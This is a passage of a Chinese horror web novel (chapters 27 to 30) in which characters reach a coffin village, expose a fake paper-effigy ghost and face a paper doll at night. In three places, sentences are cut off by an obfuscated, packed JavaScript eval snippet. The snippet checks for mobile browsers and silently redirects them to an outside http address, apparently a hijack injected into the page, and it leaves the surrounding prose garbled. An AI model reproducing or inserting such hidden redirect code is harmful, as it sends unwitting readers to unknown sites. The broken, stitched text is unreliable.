两边石壁高而水道狭窄,很容易形成狭管效应。穿堂风本应呼啸不休。 然而,方才只有一片死寂。 没有划船荡开的涟漪,没有大风掀起的波纹,这就是副本任务专门为他们打造的劣势条件。根据这个劣势条件顺藤摸瓜,不难找出水中骷髅的死穴。 “原来是这样!”苏意虹捂着嘴偷笑:“你都不知道,你当时说完之后,那个黄毛的表情别提有多难看了。那脸色,比我用得最顺手的眼影盘还五彩斑斓。” 自己蠢还想来刁难别人,谁见了不说句活该? 真当别人好欺负啊。 说话间,小船驶离了狭窄的水道,划向外面更宽广的江面。 苏意虹本想再仔细欣赏一下,黄毛那黑如锅底的面色,没想到抬眼一眺,却瞧见了江岸边的村庄。 这,俨然是他们要找的古村。 . 寻寻觅觅了这么久,才终于见着这古村的影子,苏意虹连下船的时候都多了几分干劲。 苏意虹牟足了力气,冲在最前头下船,齐檎丹跟随其后。 顾斩风则是最后一个下船的。 左脚先迈上岸。 由于村落带来的巨大吸引力,所有人的视线都情不自禁..地被前方吸引,没有人留意到这个细节——除了齐檎丹。 齐檎丹知道,顾斩风左腿受过伤,且伤势极其严重。 她在求生综艺里,曾经目睹过顾斩风遇袭的整个过程。在那次袭击中,鬼怪撕裂开顾斩风的皮肉,咬穿了他的左腿,顾斩风虽然勉强逃得一命,造成的粉碎性骨折,却在他腿骨上留下了整整二十四颗钢钉。 那时候,还没有能恢复伤势的考察系统,副本带来的所有伤痛,考察员都是实打实的承受。 左脚先踏上了岸边,意味着顾斩风有着陈年旧伤的左脚将会受力,加重伤势。 那一定很疼。 齐檎丹想也没想就伸.出了手。 怎料,她好意伸.出的手腕,却被顾斩风死死擒住。 “右脚有伤的这件事,我此前从未在直播中透露过。”顾斩风冷冷压低声音,向她质问,眼底寒光凛冽: “你是谁?我的事,你又是怎么知道的?” 这沉冷戒备的面色,好似冰锥,顷刻间刺进齐檎丹的胸口。 齐檎丹瞳孔收缩。 手腕上的疼痛并不明显,但比痛感到达得更快的,是错愕。 齐檎丹没想到,不仅除她以外的综艺观众被抹去了记忆,居然连作为综艺的拍摄对象的顾斩风,也对这综艺一无所知。唯一能给齐檎丹作证的,只有那一张没啥信息量的高糊照片,照片还被她扔进了垃圾桶里。 一无证人,二无证据,齐檎丹百口莫辩。 没有人会相信她。 “你故意先迈出左脚,是为了试探我?”齐檎丹被气笑了。 那一霎,齐檎丹基本能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909462|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够确认,她之前找寻顾斩风的行为,已经被顾斩风本人得知。而这样的找寻,无疑引起了顾斩风对她的警惕与怀疑。 所以顾斩风找上她,试探她,逼问她。 但,她又做错了什么? 顾斩风失踪,她去寻找;顾斩风散播的身死消息,是她受骗;齐檎丹原本不想再有牵扯,这次之所以进同一个副本,也是因为顾斩风使用了组队卡…… 倘若齐檎丹当真居心不..良,她又何必担忧顾斩风的生死与伤势,何必辛辛苦苦找寻顾斩风五年。 被逼问声激起的委屈与怒意,搅合成一腔野火,径直窜上头顶。 “我是谁,关你什么事?” 齐檎丹上前半步,同时将手臂猛然一收,就着被攥住手腕的动作,把顾斩风用力拉向身前。 一双杏眼咄咄逼人,分外锐利。 距离一近,顾斩风周身的气场更加明显,冰冷又凌厉,简直能把人肺叶里都冻出冰渣。齐檎丹却抬眼直视着他,丝毫不肯避其锋芒: “顾斩风,别把你自己看得太重要了,我们只是刚好同一个副本而已。我好心好意拉你一把,难道在伸手之前,我要先把从出生以来的所有证件证明,全恭恭敬敬地摆到您面前,求您过目?” 说到后面,齐檎丹对顾斩风的称呼,已经完全变作了敬语。 两个“您”字,字字如刀。 顾斩风皱着眉头,似乎在思索齐檎丹是否可信。 齐檎丹没听见他作出回应,事实上,齐檎丹也失去了听他说话的心情。只在说完这番话后,齐檎丹便抽出手腕,撇下顾斩风,一个人往村子的方向走去。 一边走,齐檎丹一边磨着后槽牙,寻思着把顾斩风的照片,从垃圾桶里翻出来的可能性。 光扔垃圾桶太便宜他了。 得找出来,拿剪子多铰个百十来刀,剪得碎碎的才算解气! 不知为何,这边山里的天色暗得很快,当齐檎丹走到村前的时候,天边已经泛起淡蓝暮色。在村前的木桩旁,齐檎丹找到了那些先下船的考察员,他们正围着木桩,研究着木桩上钉着的一块刻字木板。 按理说,放在这个位置的木板上,刻的字应该是村名。 然而因虫蚁蛀坏,木板残缺,他们一群人研究了老半天,也没人能够认得出,那究竟是哪三个字。 字迹太模糊了。 苏意虹在人群中找到齐檎丹,精准地黏了上来:“你有没有觉得,自从我们靠近村庄后,天气突然冷了许多啊?我刚刚穿这件短袖还好好的,现在却觉得冷得慌。” 齐檎丹连忙察看苏意虹的唇色,发现竟已被冻得发了紫。 气温果然比之前低了许多。 “别说现在太阳还没完全落山,就算到了大半夜,也不该像现在这么冷啊。”苏意虹的抱怨,让齐檎丹突然回忆起来,这种冷意,她在上一个副本里曾经领教过。 这不是寻常的冷。 是阴冷。 在齐檎丹的印象里,这森然的阴冷,往往暗示着周围有鬼怪存在。 转瞬之间,齐檎丹因顾斩风导致的糟糕心情,一下子减少了大半。这简直是瞌睡来了送枕头。她正愁找不到一个上镜的鬼呢! 齐檎丹忙从系统背包里取出相机,挂在身上,刚要急着进村,她身侧却刮过一阵阴风。齐檎丹忽然觉得锁骨微痒。 她下意识伸手摸去。 指尖先是触碰到粗糙的纸质,才感受到其厚度上非同寻常的轻薄。 齐檎丹心头一震,忙将那物从锁骨上拿下来一看——外为圆形,内为方孔,且形状颇似古代铜钱。 此物,赫然是烧给死人用的冥币。 28. 峭壁悬棺6 夜色漫进山谷,阴风尖声低啸,旧式纸钱纷纷扬扬地随风飘落,有如八月里无端落下了一场梨花雪。 凄美,却诡异。 叫人心间不由得泛起寒意。 白花花的纸钱,映白了村口众人的脸色,却点亮了齐檎丹的眼眸。 齐檎丹捏着那张纸钱,右手食指禁不住因兴奋而微微颤动。单凭气温上的阴冷,或许还不能表明什么,然而这些飘来的纸钱冥币,却显然是有鬼存在的极好证明。 而这,正合她的心意。 齐檎丹举起相机,将左眼凑近相机取景器前,对准纸币飘来的地方看去。 弥漫的白雾中,她果真瞧见两个人影。 那是一对身高相仿的男女,下半身全然隐没在雾里,好似无腿幽魂。 然而最怪异的,还要属他们的打扮——嘴唇和腮红皆是如出一辙的鲜红,既违和又艳俗,两张大圆脸盘上却跟擦了两三斤粉一样,苍白到毫无生机。 金童立于左,玉女站于右。一眼看去,便知是一对劣质的纸扎人。 仿真度非常一般的那种。 “纸扎人不是殡葬用品吗?它们……它们怎么会动?”苏意虹声音止不住打颤。恐怖谷效应,让她从小最怕似人非人的鬼。这类恐怖片,她非得蒙着被子才能看。 可这一对纸扎人,显然并没打算放过苏意虹脆弱的心脏。 它们不仅会动,还会说话。 “欢迎来到棺材村。”漫天飘散的冥币中,纸扎人的金童玉女扬着猩红的嘴角,迅速移动到众人眼前。两张怪诞苍白的纸扎人面孔上,挂着怪异生硬的微笑。 它们凑近,歪头,异口同声:“请问你们是要需要买棺材、纸人,还是自己的寿衣?” 只有将死之人,才会为自己购买寿衣。 来者不善! 考察员们心底一怵,如临大敌,纷纷摆出迎战的架势。 刚逃出想把人扯下水分而食之的骷髅阵,又遇到刚见面即预告他们必死无疑的纸扎人。这一路上,鬼怪接二连三地就没停过,连个能休息的间隔时间也没有。真是倒了八辈子的大霉了。 相比之下,齐檎丹的精神状态在一群如临大敌的考察员当中,“美好”得格外独树一帜。 她单枪匹马,手无寸铁,只拿着个相机就朝这对纸扎人怼了上去。 不怕死的精神,令人叹为观止。 主动送上门,给她当模特的纸扎人?这哪里是穷凶极恶的鬼怪啊,分明是两个救苦救难的活菩萨。 ——专救正愁没东西可拍的齐檎丹。 见两个纸扎人一来,齐檎丹立刻像打了鸡血一样振奋。 找机位、找角度,找构图,她一刻不停地忙前忙后。最后,甚至还从包里掏出手电筒,给两个纸人的面部补了个暖光,以便拉开画面色彩上的冷暖差距…… 直至取景器中,终于呈现出最完美的画面后,齐檎丹才心满意足地按下了快门。 “咔嚓——” 画面被就此定格。 一张全新的照片,出现在了相机当中。 夜雾氤氲出的氛围阴森恐怖,好似身在幽冥;恰到好处的光芒,凸显出纸人腮边诡异的大红。光影、色彩、构图……一切都恰到好处,非常符合齐檎丹的预期。 虽然因为还没解锁副本剧情,这张照片难免缺点故事性,但凭着这个画面,少说也得评个S级吧? 齐檎丹端详着照片,美滋滋地想。 然而,只要拍到鬼怪,三秒钟内必给评级的“照鬼相机”,此刻却异常沉默。齐檎丹等了好长时间,都没等到回音。 没动静吗?这不应该啊。总不可能,是系统给的专属技能失灵了吧? 难不成…… 齐檎丹立刻沉下眸光。 她二话不说,点开刚拍的照片,将画面细节逐个放大,详加察看。而后—— 在照片里烟雾稍微散开的位置,瞧见了两根扶在纸人身上的人类手指。那手指中间,生捏着一个连接在纸人身上的机关,显然纸人的活动,是有人在背后操作。 站他们面前的这俩纸人,根本不是鬼。 可恶,受骗了! 齐檎丹原本激动的心情,在顷刻间凝固冷却,化作一潭死水。她冲到纸扎人背面,一把将吓唬人的幕后主使揪了出来,并截获证据若干。 烟雾,是烧稻草烧的。纸钱,是人为撒的。纸人的动作,是机关控制的。 以上道具,全部被摆在一个低矮的手推车上。 高大的纸扎人金童玉女被摆在最前方,挡住了后面烧稻草的盆子、装纸钱的布袋,以及一手拿着蒲扇扇风控制烟雾,另一手操控着纸扎人机关,还时不时撒一把纸钱的“幕后主使”。 所有东西都是假的。 只有那对纸扎人,做得是真挺难看。 “好啊,原来是你在装神弄鬼。”齐檎丹看着被她抓出来的老头,足尖压迫感十足地点了点地面。 那小老头做的事怪,人长得也怪。 须发花白,肤色黧黑,身躯佝偻矮小,全身上下用破衣物裹得严严实实。就连行动起来,他的动作也怪模怪样的,比常人迟缓僵硬。 做坏事被人抓了现行,小老头却毫不引以为耻。 他捋了捋颌下一撇山羊胡子,昂首挺胸,沾沾自喜:“怎么样,有没有吓到你们?老头子我不仅这张嘴.巴能说话,还会腹语。能说男声,也能说女声,还能男声女声一起说,厉害吧?跟我做得最成功的这俩纸扎人,最适合不过了。” 小老头得意地眯起两眼,摇着蒲扇,摆出一副等人夸奖的姿态。 把方才被纸扎人吓得最狠的苏意虹,气得够呛:“你……” “哎呀,小姑娘你倒也不用太佩服我,雕虫小技而已,要是真觉得我厉害,就来买点冥币冥器。”小老头还以为苏意虹要夸自己,捋下巴那撇油光滑亮的山羊胡子,捋得更加起劲。 一边捋,他一边自卖自夸:“我这冥器店里卖的所有东西,用的那都是真材实料,最近店内还有特惠,连死两个……啊呸,连买两套,打八折。连买三套,打七折。” “大晚上吓人,我看你该打骨折!” 苏意虹作势扬起拳头。 她没真想打,但那卖冥器的小老头见势不妙,撒腿就跑,嘴里“哎呦哎呦”地胡乱叫唤:“别打了,别打了,老头子我就是想卖点东西嘛!要不是这样,你们也不会被吸引过来。” 感觉体力不支了,小老头就一屁股坐在地上,开始就地碰瓷:“哎呦我的老胳膊呀,哎呦我的老腿呀。你这小丫头片子力气咋这么大,懂不懂尊老爱幼?我这把老骨头哟,都快要被你给打散喽。医药费我就不要了,只要在我这儿买俩冥器,我老人家就不跟你们计较。” “他骗人!我根本没有一下打到他。”苏意虹委屈巴巴,跑来跟齐檎丹告状。 被齐檎丹揉了揉头发。 “我们不是来买冥器的。”齐檎丹说。 闻言,小老头立刻沉下声音,变脸如翻书。他摆着手凶巴巴地赶人:“那你们过来干什么?快走,快走,这村子待不得。” “凭什么你待得,我们就待不得?”苏意虹双手叉腰,颇不服气地反驳:“总不能只有像你这样老奸巨猾的老头子,才能在这里待吧。” 老头“哼”了一声:“看看你们的手。” 齐檎丹赶忙低下看去,只见她的左手指尖竟已开始尸化。 尸化部分变得青灰、僵硬、不受控制,更可怕的是,所有人身体上受尸化影响的范围,正在不断蔓延扩大。要是没能在规定时间内完成考核任务,离开村庄,他们会完完全全变为一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916590|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 具尸体。 怪不得这个副本没像上个副本一样,整个时间剩余值出来。 原来,时间限制早在这里等着呢。 齐檎丹大致算了一下,现在距离他们进村,刚刚过去半柱香时间。按照这个尸化速度,如果继续留在村中,他们只有不到24小时的时间完成考察。 但他们除了留在村里,别无选择。周围都是荒山野岭,只有这里有人烟,况且任务要求的目的地也是这儿。 今晚,他们必须找个地方留宿。 小老头见考察员们一个个面色凝重,慢悠悠地摇起蒲扇:“唉,我早都跟你们说了,这村子你们留不得嘛,你们还偏不信。只要留在这里,就只可能慢慢变成尸体,没有解法。” 说着,小老头走回到他载满东西的手推车前:“再说了,我是骗了你们没错,但你们也拿我的纸人拍了照片,我看咱们啊,也算两清喽。” 他抬起手推车的把手,刚想溜之大吉,便被齐檎丹拦住了去路。 “谁跟你两清了?”齐檎丹眼尾上挑。 她左手举相机,右手点开手机自带的计算机,跟小老头好好地算了笔账: “我拍照可是要收费的。找我拍一套写真,最便宜也得花几千块。但看你这个样子估计没钱,算了,我按最便宜的价格算吧。由于外面还有一群人在排队等我的档期,你扮鬼让我给你的纸人拍照,算是变相加急,得再加一笔加急费……” 齐檎丹右手手指飞快动作,计算器上显示出的数字不断上加。 虽然她这些年在拍摄上积累了一定知名度,拍照的目的也不止局限于金钱,而更渴望能力上的提升与超越,但……必要时拿金钱来吓唬吓唬人,效果倒也还不错。 计算机上,数字飞快跳动,显示的数额越来越大。 对山村里卖了一辈子冥器的小老头来说,这个价格简直高得令他心梗。他盯着那串数字直咽口水,面色比地上贫瘠的土地还要难看:“这……” 他几度想逃。 可齐檎丹哪里会轻易放人。 这个副本里的NPC可不好找,能利用起来,自然要利用起来。 “要两清是吧?给钱。” 齐檎丹手心朝上,往小老头面前一伸。 小老头无奈,只能再三叹气:“钱呢,老头我是真没有。但是我家里挤一挤,倒是能多住几个人,你们要是还打算留下来的话,今晚要不要住在我那里……” “好,成交!”齐檎丹勾起唇角。 最难的住哪儿问题解决了,他们总算可以好好歇一会儿,聊聊接下来该怎么办了。 . 小老头的家是两层楼的老房子,一楼贩卖棺材、纸人、花圈等各种冥器,二楼则是住人的地方。 房间有限,齐檎丹和苏意虹分在了同一间。 苏意虹累了一天,一见到柔软的床铺,她便急不可耐地扑了上去,投入了被子和枕的怀抱。然而,从被褥里抬起头时,她却见齐檎丹坐在床边,垂着眼眸,心事重重。 苏意虹猫儿一样蹭过去:“怎么啦?你想到什么了?” 齐檎丹沉吟片刻:“你有没有感觉,我们进这个副本后遇到的那么多事情,虽然各不相同,但好像都有一个共性?” 鬼司机啃食的鸡爪,乃是人手;旅游大巴上的方向盘是纸扎的,但能驾驶;水里的悬棺是倒影,可爬出来的骷髅能伤人…… 真假相间,虚实相生。 他们仿佛行走在凡间和幽冥之间的裂隙,人与鬼并行不悖,甚至可以相互转化。 然而,置身于这样的副本背景之下,问题也随之而来。在这人鬼混杂的山村当中,鬼不可信,那人呢?他们以为的“人”,又是否是披着人皮的鬼? 就比如,让他们借宿的这个冥器店老头,真的值得信任吗? 29. 峭壁悬棺7 村中的蹊跷之处,远不止这一点而已。齐檎丹顿了顿,继续说道:“而且我总感觉,就算村里的人世世代代以售卖冥器为生,这里的冥器店也有点太多了。” 尤其是卖棺材的。 齐檎丹用手指挑起一角窗帘—— 窗外,一口口棺材堆叠成山,叫人看得呼吸窒塞。 不只是那些冥器店的旁边排满了棺材,村中每一户的屋边,也至少摆放着一口棺材。沉重的棺材沿着村道一字排开,宛如长蛇脊骨,蜿蜒进深邃沉默的夜色。 齐檎丹大概数了数:“这个村子极小,村里的人家不过十来户。可这里的棺材,却居然有足足数百口。” 棺材的数量,比人多了将近十倍。 “棺材村位置那么偏远,交通又不方便,这么多棺材能卖得出去吗?”苏意虹提出质疑。 从外面进村要走一段陆路,一段水路,水路还需要经过满是骷髅的峡谷。只怕来运货的人还没等见到货物,就已经被骷髅拖下水撕碎了。 齐檎丹:“况且,棺材本应由松木、柏木等辟邪的树木制成,可除了这个老头有在屋前屋后栽了几棵,我们在村中却几乎没见过这些树木。” 被广泛种植的,则是五鬼木。 即槐树、柳树、桑树、杨树和苦楝这五种树木。 民间传说,五鬼木容易吸引鬼魂,阴气极重,并不适合种在活人的居所附近。在这棺材村里,为什么却反其道而行? 齐檎丹才把这些猜想说完,那个自从他们进副本之后,就一直装死的剧情解锁度,居然破天荒地有了动静。 【剧情解锁度:10%】 【恭喜您解锁剧情!奖励积分+100】 每个百分点的剧情解锁度,能够对应10积分的奖励,比累死累活地做任务划算多了。 然而,剧情解锁度的进展,无疑印证了这些猜想的准确性。苏意虹听得心里一阵阵发冷,禁不住裹紧被子:“那我们要怎么办?我们今晚还在不在这儿睡觉啦?” 自打从齐檎丹口中听说了五鬼木,苏意虹现在连看树叶都有些心里发毛——斑驳陆离的树影,落在薄薄一层窗帘上,晃动起来的时候,倒真跟鬼在外面拍手一样。 把苏意虹的睡意都被吓没了。 “来都来了,为什么不在这儿睡?”齐檎丹往里推了推裹着被子的苏意虹,将她裹成了一个更加标准的寿司卷:“再说了,我们还有更好的去处吗?” 很遗憾,她们没有。 初来乍到,能在村里找到一个过夜的地方,已属不易。 “再说了,半夜要是来个真的纸扎人鬼,那多好拍啊。”齐檎丹在床的另一侧躺下后,就开始做梦。刚说完,她手上便不轻不重地挨了一下。 “哎,得了吧,我可不想被你连累。”苏意虹从被子里挣脱出来,拍打了一下齐檎丹表示谴责,“我还有好多美食没尝过,也没吃够,我还想活着回去现实世界呢。” 齐檎丹笑着拿出相机,把今天过峡谷时拍的悬棺照片,又看了一遍。 相机拍摄下的照片清晰无比,比人的记忆好使,能够最真切地还原出两侧山崖上的悬棺细节。 那些悬棺当中,有几个成色较新。 显然是刚挂上去的。 不管是欲挂悬棺,还是考察悬棺,皆需要先登上千尺悬崖。 且悬棺所在的山崖附近,仅有棺材村这一个村庄,村中人又擅做棺材。知晓如何将悬棺挂上山崖者,必然在此山村之中。 找到会挂悬棺的村民们,是他们登崖考察悬棺的唯一可能。 除此之外,别无办法。 “早点休息吧,明天咱们找个机会,向这个冥器店的老头打探一下,看如何上到山崖,考察悬棺。我们的时间不多了,越早能考察越好。”齐檎丹说着,顺手关掉灯光。 屋里暗了下来,然而苏意虹的瞌睡虫早就被吓飞了,现在她清醒得很,哪里睡得着。苏意虹索性换了个话题。 比如,八卦好友的感情生活。 苏意虹早在车上时就想问,硬生生忍了一路,现在得了空,她终于忍不住好奇。 “你怎么突然对顾斩风这么冷淡啦?是因为他在死讯上骗了你吗?那个小老头带我们来的路上,顾斩风经过你身边至少两次,怎么也没见你看他一眼?”苏意虹侧过身子,用手肘撑起脑袋,问齐檎丹: “之前他失踪了生死不明的时候,你找他不是找的特别勤吗?” “算了吧,我可不倒贴了。” 想起顾斩风对她的质问,齐檎丹忍不住在心底翻了个白眼:“我好心好意想帮他,他把我的好心当驴肝肺,还把我当变态。他都这样了,我干嘛上赶着倒贴。” 没人喜欢给自己找气受,齐檎丹也一样。 齐檎丹禁不住回想起多年以前,她坐在电脑屏幕前,观看求生综艺的那些日夜。顾斩风的出现,支撑她如愿走出了低谷,可回首时,一切却早已物是人非,恍如一场隔世经年的旧梦。 旧梦泛了黄,褪了色,徒留浑浑噩噩的梦中人。 梦很美,可齐檎丹骨子里到底是骄.傲的。那高傲的自尊容不得他人碾碎,受不得做小伏低,哪怕是惊艳了她青春的那个人,也不可以。 一片真心,何必送人糟践? 齐檎丹翻了个身,闭上了眼,终是将前尘旧梦掩埋进沉沉夜幕。 有些东西,她早该放下了…… . 当齐檎丹熄灯睡去时,仅仅跟她一墙之隔的地方,顾斩风桌前却因她亮着一盏灯。 夜阑人静,和顾斩风分到同一房间的考察员早已酣然睡去,但是顾斩风依然困意全无。齐檎丹被质疑时,那双充满诧异与怒意的眼眸,仍在他脑海里挥之不去。 尽管,系统对考察员之间相互残杀的行为有所限制,但钻系统规则的漏洞,行杀人越货之事的人,却一直有之。因此,顾斩风面对陌生人对他的找寻,从来心存警惕。 而齐檎丹,偏偏是试图找寻顾斩风的人里,疑点最大的那一个。 她知晓得太多了。 这些信息中,甚至包括了顾斩风在考察直播中,一直刻意掩藏的部分。 但,这就意味着齐檎丹一定居心叵测吗?且不说齐檎丹的愤怒,不似假装。这次两人身在同一个副本里,顾斩风故意留给了她许多动手的机会,齐檎丹直却到现在都无动于衷。 这很不寻常。 可倘若不是包藏祸心,齐檎丹为什么要到处搜寻他?又为什么会对她这么了解?顾斩风并不记得,他跟齐檎丹曾经有过什么瓜葛。 不过,保险起见,还是查一查为好。 顾斩风蹙起眉心,打开个人面板,从系统背包中取出准备好的道具。 那道具其貌不扬,级别却高达稀有等级。不为别的,只因这个道具有一项特殊的功能,能够在副本内外建立起一条连接通道,为持有者和其在副本外的队友,提供三分钟的有效沟通时间。 相当于一次场外援助。 因此,这道具不管是在系统商城里,还是在考察员自己的交易市场中,素来有价无市。 如此珍贵的道具,顾斩风使用起来却连眼睛都不眨。他面无表情地捏碎了道具。道具破碎之后,便在半空中化作一块屏幕,屏幕另一侧,正是他队友里最精通电脑技术的叶原。 叶原是个黑客,通过互联网搜集信息的能力强得惊人。 这正是顾斩风当下所需要的。 顾斩风:“关于齐檎丹,你查得怎么样了?” “履历很正常,就是以前苦了点。”叶原一边说话,一边“噼里啪啦”地敲着键盘,黑底青绿纹路的口罩,遮住了大半张微带婴儿肥的面容,“父母离异,从初中被霸凌到高中,跟你的经历居然还有点像……” 顾斩风皱眉:“时间有限,说重点。” 他们只有3分钟的沟通时长,顾斩风不打算把时间,浪费在无关紧要的事情上。 “好好好,重点在齐檎丹的搜索记录上。”叶原根据齐檎丹的上网 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919581|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记录,生成了搜索词云图,“我从中提炼出了她近十年搜索的高频词,其中一个是你的名字。” 顾斩风并不意外:“还有什么?” “哎,你不要心急啊,我还没有把话说完呢。” 叶原叹了口气,把词云图展示给他看:“除了你,齐檎丹还经常搜索一档求生综艺。这综艺可能跟你有点关系,她经常会把这求生综艺和你的名字放一起搜。” “求生综艺?叫什么?”顾斩风从未参加过任何一档综艺。 “这综艺就叫《无限考察》,但在网上搜索不到。”叶原道,“根据她在搜索这档综艺的同时,输入的其他词汇,我发现,这综艺里很多细节,跟系统出现之前的副本世界很像。而且最巧的是——我这边查到,她最早的相关搜索记录正是五年以前。” 五年前对他们来说,绝对是个无比特殊的时间点。 因为那一年,发生了两起大事。 一是已进入副本世界的所有考察员,在同一时刻被强制退出副本,此后很长一段时间无法进入,也不用再冒险进入副本当中。 等这些人再次进入副本之中后,惊讶地发现了第二件大事,即考察系统的出现。 这个考察系统,改造了对考察员极不友好的副本世界,在很大程度上保护了考察员的安全。以这个系统的诞生为界限,旧副本时代宣告结束,新副本时代开启。 那求生综艺,兴许是旧副本时代的产物。 至于综艺信息全部离奇消失这一点,顾斩风则非常熟悉。 因为此举,这和现如今副本世界里的力量侵入现实,将副本相关信息悉数抹除的做法,一模一样。这也就解释了,网上搜不到综艺,也无人记得这档综艺的原因。 齐檎丹兴许没有说谎,也并无恶意。但,她的记忆为何还在? 顾斩风想不出缘由。 三分钟的道具使用时间已然过半,于是顾斩风问了下一个问题:“齐檎丹查我,查到了什么?” 相比起前几个问题,这个问题还算稀松平常。 然而,叶原却诡异地安静了片刻,连对面聒噪的键盘声也骤然消停。青年黑客默不作声地拉高了口罩,口罩下嘴角抽搐的起伏,却没能逃过顾斩风的法眼。 “怎么?这么难回答?”顾斩风声音冷冽。 “咳咳咳……那倒没有。”叶原清了清嗓子,强行按耐住嘴角幸灾乐祸的动静:“她查到的东西非常有限,只有一个,那就是——” “你的假死讯。” . 齐檎丹打小眠浅多梦,睡觉从不安稳,她想过半夜会醒,却不曾想,她是被苏意虹摇醒的。 “齐檎丹,你个乌鸦嘴!” 苏意虹咬牙切齿地说着,声音微微发颤。 面对苏意虹隐含怒意的指控,齐檎丹茫然了一会儿,睡懵了的大脑才后知后觉地想起,她临睡前刚说过纸扎人可能会来,可那只不过是一句戏言。 然而,眼下苏意虹如此惊恐,莫不是因为…… 齐檎丹心念一动。 她摸出被子底下的相机,提起精神,不动声色地看向门边。 只见本该紧锁的房门,不知何时,居然被人从外面推开了一半。而一个惨白僵硬的人影正站在房门之处,一动不动地咧着嘴角,朝她们“咯咯”嬉笑。 门外纸人身高低矮,笑声天真而尖利,音如孩童。一楼冥器店里的纸扎人,居然上了楼梯,跑到她们房间外边来了。 来的,还是个鬼娃娃。 真有意思。她还没拍过鬼娃娃呢。 齐檎丹顿时起了拍照之心。借着被子的遮掩,她以相机悄悄对焦纸扎人娃娃,然后转动变焦环,拉近画面看了一眼。 然后—— 齐檎丹胃内酸水翻涌。 她忍不住以最快速度放下相机,抓住床沿,从嗓子眼里,发出了一声压抑的干呕。 太丑了!真的太丑了! 这么丑的纸扎人,她真的下不去手拍照啊! 30. 峭壁悬棺8 在扶住床无声干呕的那一霎,齐檎丹总算明白—— 为什么他们刚进村里时,见到的那对算不上好看的纸扎人童男童女,会被冥器店的小老头认为是“做得最成功”的两个了。 因为其他的,实在是惨不忍睹。 就比如现在站在门边那个,嘴歪眼斜,面目扭曲,画脸的墨汁还晕染得乱七八糟……简直是对人眼睛的污染。 太丑了! 她受不了了! 齐檎丹一忍再忍,忍无可忍。 胃里的翻江倒海才刚消停,齐檎丹就忍不住在被子底下,拿手肘偷偷戳了下苏意虹的腰:“等会儿,我们去给它改个妆吧?” 怕鬼更怕纸扎人的苏意虹,差点没被吓得弹射起飞:“要去你去,我可不去!” 这个玩笑,一点都不好笑。 一点都不。 但很遗憾,齐檎丹并没有跟她开玩笑的意思。 齐檎丹暗示苏意虹先翻窗逃脱,而她自己则掀起被子,翻身下床,把收在系统背包里的化妆品一口气全摆了出来。 她居然……是真的要把给纸扎人改妆的惊人想法,付诸实现。 这些化妆品,之前都是齐檎丹准备要给客人化妆用的,其中不乏名牌。一水儿全排出来时,那叫一个颜色齐全、色彩斑斓,破烂古旧的房间内有如多出一道虹彩,分外鲜亮壮观。 【任务已触发!纸扎人娃娃深夜拜访,请努力活过今晚。】 “嘻嘻嘻——” 纸扎人娃娃嘴里,发出天真而诡异的笑声。 “我有问题想要问姐姐,姐姐可不许撒谎噢。骗人是会受到惩罚的。”见齐檎丹已经发现异常,纸扎人娃娃便不再伪装。它抬起双臂,挪动着纸糊的身躯,缓缓向齐檎丹靠近,仿佛在向她索要拥抱。 那娃娃仅三尺来高,若是不看那张乱七八糟的脸,并不会让人感到丝毫威胁。 甚至,还有几分可爱。 让人一不小心,就容易对它放下戒备。 纸扎人娃娃往前进,齐檎丹却没有往后退。 她像是被娃娃的大小蒙骗了似的,没有抗拒它的靠近。不过片刻,纸扎人娃娃离齐檎丹已经不到一臂距离,只要一伸手,它就能够到齐檎丹。 若是忽略纸扎人丑陋怪异的外貌、昏暗的房间、窗帘上阴森森的树影,这幅场景竟然能算得上和谐融洽。 但,事实真的如此吗? 齐檎丹直播间里的观众们坐不住了。 “啊啊啊啊不要被它骗了,这个纸扎人娃娃真的没有那么无害!!” “这是傻了吗?还不快逃?” “快点反应过来啊。等纸扎人娃娃问出那个问题,就完了。” 直播间里,大多数人弹幕都在催齐檎丹快跑,搞得其他观众困惑不已:“有没有人能告诉我,这纸扎人娃娃哪里可怕啊?才那么小一个,杀不死人吧。” “是,它是杀不死人没错,但能把你变成纸人。”有人好心解答:“它逢人必问它好不好看,回答好看,它说你说谎。回答难看,它说你没礼貌,反正横竖都是死路一条。你看看隔壁直播间就知道了。” 几分钟之前,隔壁直播间拍到的纸扎人娃娃,已经问出了那个生死攸关的问题。 “哥哥,我好看吗?” 纸扎人娃娃嘻嘻笑着,歪着脑袋,看向面前的考察员。本该勾勒出它眼睛的墨汁晕染开了,在惨白的脸盘上糊成了两团漆黑,活像两个嵌在那里的窟窿。 直勾勾的,看得人心里发慌。 出入副本的经验,让被问的那个考察员立马推断出,这是一个送命题。 